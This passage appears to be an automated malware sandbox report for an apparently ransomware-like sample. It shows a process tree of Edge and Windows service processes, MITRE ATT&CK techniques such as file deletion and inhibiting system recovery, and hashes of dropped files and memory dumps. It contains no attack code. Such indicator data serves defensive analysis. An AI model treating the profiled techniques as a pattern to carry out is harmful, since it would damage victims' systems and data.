        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:1
        5⤵
        
        PID:1592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:8
        5⤵
        
        PID:2876
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4388
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:1
        5⤵
        
        PID:3308
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4228 /prefetch:1
        5⤵
        
        PID:1552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:1
        5⤵
        
        PID:1608
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:1
        5⤵
        
        PID:4940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2020 /prefetch:1
        5⤵
        
        PID:5996
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
        5⤵
        
        PID:2520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5996 /prefetch:2
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5376

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4848

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e57ea90.rbs

Filesize
7KB

MD5
ac69ce58efb71be8af09bbd0a4d41147

SHA1
6d1d7fb39274998e7d05b501ca68988232d87754

SHA256
659e72d51e59566a968c9ce7e6340e520da946db6ee6246d40a55c967e6597ff

SHA512
8aaabc5b1591ad6bd2481604cf6b16f82099360d43113c84fe1b34f338416153c612418dd2549548be1520239270421fb67026b44047512952907446a31f86b4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1

Filesize
746B

MD5
5eeae6a173a3a20298464ab0a1f157fb

SHA1
32d3cda80f3286875ecd56ccf0f530440d0a2778

SHA256
eb8583c4df6b8686c5f814f45286e0e6b3c4be1b8d183aa44a3a2fcc0f143fb3

SHA512
d399ccc562644bccebaf25bfb59b302820f2111897f3b4bcc1182c25cf322000c42522935787ae800d645af9241a3325631ee573b3619e9a4e0bd65485321624

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Filesize
727B

MD5
8ed407c1efb115cb83ed645288bfa6a9

SHA1
02fd0aefeacc842ee04a21d376313ba5ee74e2b4

SHA256
ab74d98b1b0c0806cb4552e410bed694b64f9d4ffc5ae1744f26da0899657576

SHA512
df6374c17c778839291d58ae9a2ff3d5d9b552dd138658d91ea2e7fbdd617b5445571bd8ab5540de2332555f1a9e06171f9b33ce4fa759a9218f94b4d644b80d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1

Filesize
404B

MD5
6d877d3a7d1b5ac05afa0e89782b3c68

SHA1
525208a97ed13d3bf0d4fcbeae8211a4fb65bb12

SHA256
0f8a671cd9e6b15ee0beedab10fe6a90d3e51bd605bb7cd926b7f5e02317fe26

SHA512
72d30f4a689a45740d6b3d06c66eb8ea26d1ffa73a8314444f0016f44414fec3b945d0fe1af131e55629f1a6ccdb49ff104be24a380de9a3a05f4efbd27dfbf9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Filesize
412B

MD5
98b055af807cfd752c31b714c74c7f4e

SHA1
174a0ee15b07b1e39188614c985a8e71398c9538

SHA256
fe153a40671f9e1b6abbac8f735592af4d834597b5d76c1390b8bd8ff8b9705a

SHA512
838bb8373570761a8cec76455a0078e37223f10e65b59966a0a096ae367a942c373ad4f843034018477afdabff89c7c577fdd4f16ee56d33adfaead5927622fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d8294073f3582e3c0a607a60b6d6ca48

SHA1
3ee881f415563afd0c8265f37eb78235aae909bd

SHA256
31900aacca28ff914c07a077cb9a39ec437ee059958564d718d04ae47426e286

SHA512
8c256228dadfa577cdf938d25ac082a232f1e756cedd587f8e1855c0ff7c09571ebffc8221016ccfdfe0b17d356239685eadd72eaa7c32fe46fcfcdf4aa6cb07

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
df8dd3fd9b8a9564af9bc637a260462b

SHA1
4fe4cbce6166e869ff5518701346770f3f999482

SHA256
c0973c8dc416bdb41f0497142d4b3babf6626034f88996a72919c841f214458d

SHA512
33d81ba01014f11d5717815b76581157600e4b4b7a30f13a5ac72f39917bfe7aa7f0da3fa73dcdbb390e12b99591dc64943d800742dd6ad3488926cf058c2d2c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
175c5a87cab90a9a6415fb7fe9dbe6b0

SHA1
1d90b1c6fdc072a1ccf4c5aed44f1a136943c23e

SHA256
81fb2ecec6038dc366cc0db0057e7c7722c71511c19de82b15b7402c2fb276c2

SHA512
f3c72661975f72288f41310f7f1fe924aa3eebaafde14d2f2c2c8c0c7d6a13e8d97bc8dc7d4739fd7be1fba220a1c1acaba72ac144189ccb828ae86f5b88f606

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
5911f98dae6d97c4bf9724fa3ad0898e

SHA1
b050119cb81c1d6278bf35e9e2950a3dd18ba7aa

SHA256
c98200c0450dfff44b0d847df78630895b4436320739f9ef01b3a3fe6e9fc198

SHA512
60960c1394c1a28f52d4087299fc663b741a139a0a4182e5ca805322de662d89171787793b0fe906aae913d7457ccdb6559eda8ad9c6126a704985b63240e1e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
400177288c14f9134cb4295c258b50c1

SHA1
9583f459864ee67f3f75fe94955c27cacd1ceb34

SHA256
f6097207275125b8ad9f2af2481a49d4a9ecddc36208660a6f511c723e3e1ea7

SHA512
62e1e7166938ca27b002c11e5af82dc7b2ada64288db264cc06918b4b9d7b9f7a840e7b900cc1d286542c6f790f80ba9448cbe4cdc5379705c788f5715b5f8fd

Download Submit
C:\Users\Admin\Pictures\README.html

Filesize
14KB

MD5
c5ba594004a86d09f19f815ffc75ab15

SHA1
65c386b72d7edabb7aab2ef4bd4f711a499ff305

SHA256
ecc91f20a144a675df93a497f09707c64ba115c5c18eed737d29ab290a3dcc39

SHA512
8bb53cac1e2c7c6743120960d0420aad3ae10897a26623bc49d03451978d27084eb17abe95274513da314317323dc1b8ce7316f3c011ce2a7673e2990817736c

Download Submit
C:\Users\Public\kn01m9fz2

Filesize
1KB

MD5
718b1bc136d781cd0b1ce2bc7cacbca9

SHA1
907f0f23b043feea701ad26814dc50235f5c0429

SHA256
1c974b1aed63a9b784532cbd20d4030ea62e848f762b514f0200038ee99ee050

SHA512
25828c4e9744a7fae0eb7464767eef8436ae5e21c8c2f41bd739328a276d38d053a807ec2c9f43d9f7b59ff516002a27d23e27d46cf5a4451f9d9b3e5163b229

Download Submit
C:\Users\Public\kn01m9fz2

Filesize
1KB

MD5
718b1bc136d781cd0b1ce2bc7cacbca9

SHA1
907f0f23b043feea701ad26814dc50235f5c0429

SHA256
1c974b1aed63a9b784532cbd20d4030ea62e848f762b514f0200038ee99ee050

SHA512
25828c4e9744a7fae0eb7464767eef8436ae5e21c8c2f41bd739328a276d38d053a807ec2c9f43d9f7b59ff516002a27d23e27d46cf5a4451f9d9b3e5163b229

Download Submit
C:\Users\Public\kn01m9fz2

Filesize
1KB

MD5
718b1bc136d781cd0b1ce2bc7cacbca9

SHA1
907f0f23b043feea701ad26814dc50235f5c0429

SHA256
1c974b1aed63a9b784532cbd20d4030ea62e848f762b514f0200038ee99ee050

SHA512
25828c4e9744a7fae0eb7464767eef8436ae5e21c8c2f41bd739328a276d38d053a807ec2c9f43d9f7b59ff516002a27d23e27d46cf5a4451f9d9b3e5163b229

Download Submit
C:\Users\Public\q9g011n1epg

Filesize
3KB

MD5
3eb56070e3fd6bdd5eb3af4997b5a482

SHA1
18023cb9fb7cc9b05aba0b222651c665bbda7582

SHA256
f8db28ebc492222e2ec7b8e9463b4acb25a53389727cd7d84c2350b72b93eca7

SHA512
f97c344f3fa4fd506f3c637b1943aa1fee5972dd2f2d0309b04a0a621729e1d71574ae657d22fa8c119a4852f8c6034d26a95a665b19aefcc5f4517744ccba08

Download Submit
C:\Users\Public\q9g011n1epg

Filesize
3KB

MD5
3eb56070e3fd6bdd5eb3af4997b5a482

SHA1
18023cb9fb7cc9b05aba0b222651c665bbda7582

SHA256
f8db28ebc492222e2ec7b8e9463b4acb25a53389727cd7d84c2350b72b93eca7

SHA512
f97c344f3fa4fd506f3c637b1943aa1fee5972dd2f2d0309b04a0a621729e1d71574ae657d22fa8c119a4852f8c6034d26a95a665b19aefcc5f4517744ccba08

Download Submit
C:\Users\Public\q9g011n1epg

Filesize
3KB

MD5
3eb56070e3fd6bdd5eb3af4997b5a482

SHA1
18023cb9fb7cc9b05aba0b222651c665bbda7582

SHA256
f8db28ebc492222e2ec7b8e9463b4acb25a53389727cd7d84c2350b72b93eca7

SHA512
f97c344f3fa4fd506f3c637b1943aa1fee5972dd2f2d0309b04a0a621729e1d71574ae657d22fa8c119a4852f8c6034d26a95a665b19aefcc5f4517744ccba08

Download Submit
C:\Windows\Installer\MSIEBE6.tmp

Filesize
52KB

MD5
f005f55386eadf6580d39b51eb8b3b9d

SHA1
3c2c6e752c1b7c1380722b3d73ceef080c212bbd

SHA256
9dcd2d8b8e4ed0ec47a617ac34ec595259450c97cd07027fe5e63c6bba48ce0c

SHA512
43972b1e6a22f8763b84e8208ee8c83f90970052fe52f54645ad7c27c08075d367d9e7d68a8b727a2390c4946d27913aadde868f79b3363716a50380a667b409

Download Submit
C:\Windows\Installer\MSIEBE6.tmp

Filesize
52KB

MD5
f005f55386eadf6580d39b51eb8b3b9d

SHA1
3c2c6e752c1b7c1380722b3d73ceef080c212bbd

SHA256
9dcd2d8b8e4ed0ec47a617ac34ec595259450c97cd07027fe5e63c6bba48ce0c

SHA512
43972b1e6a22f8763b84e8208ee8c83f90970052fe52f54645ad7c27c08075d367d9e7d68a8b727a2390c4946d27913aadde868f79b3363716a50380a667b409

Download Submit
C:\Windows\Installer\e57ea8f.msi

Filesize
92KB

MD5
108c1a102c58234f4cda627079df75c3

SHA1
21d6f08bd6bab100eb0b1a09c806c78577ec5b25

SHA256
a0e41e8c856a4e7a71893abf513b6ebefde78dd81b37e560a29cf25a83b9df9b

SHA512
0f4476005fa08acf212e1ec8bb548a9503a998e063e048de9cce438500f13ff5a98acac8ba4c3eeaf5572b583c6da9e2af23e23e3971675e260c628c2d6afb9b

Download Submit
\??\Volume{05eaddb2-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{76c2f3e4-118c-48bc-bbde-0e874f6e2ef1}_OnDiskSnapshotProp

Filesize
5KB

MD5
a1ec88adb2374c77ba5566d0cf4f2c56

SHA1
7d25530702578cae605a086c362a6c5ea7f13b67

SHA256
370991eb6eeadb105f0fd248386928f070e22f99e2c60a07eecddcf543525c85

SHA512
a680defc064079a459f480aff021e0d19e87edceb9ce7def1742cd1981cb8e8d028460146f50725d9b269b24890c5f616c64cb02c41cb9f9073a6891532852c1

Download Submit
memory/824-206-0x0000024E93330000-0x0000024E93331000-memory.dmp

Filesize
4KB

Download
memory/824-57-0x0000024E932D0000-0x0000024E932D1000-memory.dmp

Filesize
4KB

Download
memory/824-154-0x0000024E93540000-0x0000024E93541000-memory.dmp

Filesize
4KB

Download
memory/824-165-0x0000024E93550000-0x0000024E93551000-memory.dmp

Filesize
4KB

Download
memory/824-23-0x0000024E92F30000-0x0000024E92F3C000-memory.dmp

Filesize
48KB

Download
memory/824-172-0x0000024E93DC0000-0x0000024E93DC1000-memory.dmp

Filesize
4KB

Download
memory/824-174-0x0000024E93EE0000-0x0000024E93EE1000-memory.dmp

Filesize
4KB

Download
memory/824-192-0x0000024E93320000-0x0000024E93321000-memory.dmp

Filesize
4KB

Download
memory/824-175-0x0000024E93E20000-0x0000024E93E21000-memory.dmp

Filesize
4KB

Download
memory/824-122-0x0000024E934A0000-0x0000024E934A1000-memory.dmp

Filesize
4KB

Download
memory/824-25-0x0000024E92F50000-0x0000024E92F51000-memory.dmp

Filesize
4KB

Download
memory/824-30-0x0000024E92F80000-0x0000024E92F81000-memory.dmp

Filesize
4KB

Download
memory/824-28-0x0000024E92F40000-0x0000024E92F41000-memory.dmp

Filesize
4KB

Download
memory/824-68-0x0000024E93310000-0x0000024E93311000-memory.dmp

Filesize
4KB

Download
memory/824-37-0x0000024E932C0000-0x0000024E932C1000-memory.dmp

Filesize
4KB

Download
memory/824-67-0x0000024E93300000-0x0000024E93301000-memory.dmp

Filesize
4KB

Download
memory/824-140-0x0000024E934B0000-0x0000024E934B1000-memory.dmp

Filesize
4KB

Download
memory/824-35-0x0000024E932B0000-0x0000024E932B1000-memory.dmp

Filesize
4KB

Download
memory/2920-71-0x0000020E2A770000-0x0000020E2A771000-memory.dmp

Filesize
4KB

Download
memory/2920-103-0x0000020E2A8E0000-0x0000020E2A8E1000-memory.dmp

Filesize
4KB

Download
memory/2920-209-0x0000020E2A920000-0x0000020E2A921000-memory.dmp

Filesize
4KB

Download
memory/2920-84-0x0000020E2A8D0000-0x0000020E2A8D1000-memory.dmp

Filesize
4KB

Download
memory/2920-24-0x0000020E2A760000-0x0000020E2A763000-memory.dmp

Filesize
12KB

Download